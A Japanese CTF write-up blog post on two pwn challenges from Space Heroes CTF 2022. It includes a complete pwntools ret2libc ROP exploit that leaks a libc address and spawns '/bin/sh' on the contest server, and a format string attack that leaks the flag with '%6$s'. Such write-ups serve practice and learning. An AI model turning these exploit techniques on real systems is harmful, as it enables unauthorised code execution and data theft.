CTF備忘録

CTFに関して学んだことを記します

Space Heroes CTF 2022 Writeups

まえがき

久しぶりのCTFでした。

CTFは楽しいね。

今年はpwnを頑張りたい!



[pwn 100pts] Vader

Buffer Over Flowがある。
0x28bytes書き込むとreturnアドレスを書き換えれる。
あとはROPをするだけ。



libcが配られていないのでlibcアドレスをputs関数でleakさせlibc databaseでlibcを特定する。

下のサイトを使った。

libc.rip




main -> puts -> main -> system("/bin/sh")



久しぶりのROPだったので疲れましたが完全に思い出せました。



from pwn import *

HOST = "0.cloud.chals.io"
PORT = "20712"

elf = ELF('./vader')
libc = ELF('./libc6_2.33-1_amd64.so')

conn = remote(HOST, PORT)

offset = 0x28
pop_rdi_ret = 0x40165b
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]

payload = b""
payload += b"A"*offset
payload += pack(pop_rdi_ret, '64')
payload += pack(puts_got, '64')
payload += pack(puts_plt, '64')
payload += pack(main_addr, '64')

conn.recvuntil(b">>> ")
conn.sendline(payload)

puts_libc = unpack(conn.recvline().rstrip().ljust(8, b"\x00"), 'all')

binsh_addr = next(libc.search(b"/bin/sh"))
system_addr = libc.symbols["system"]
libc_base = puts_libc-libc.symbols["puts"]

payload = b""
payload += b"A"*offset
payload += pack(pop_rdi_ret, '64')
payload += pack(binsh_addr+libc_base, '64')
payload += pack(system_addr+libc_base, '64')

conn.recvuntil(b">>> ")
conn.sendline(payload)

conn.interactive()

[pwn 100pts] Guardians of the Galaxy

入力したものが出力される。
Buffer Over Flowは無さそうなので%pを入力するとなんらかのアドレスがリークしたため
FSA(Format String Attack)ができる。
このリークしたアドレスのk番目にflagがある場合、%k$sと入力するだけでflagの文字列をリークできる。
flag.txtの文字列は入力以前に読み出されているのでスタックに積まれていると考えられるため解けそう。
結果 "%6$s" と入力することによりflagを得る。

終わりに

久しぶりのCTF楽しかったです。
ROPを完全に忘れていたので思い出せて良かったです。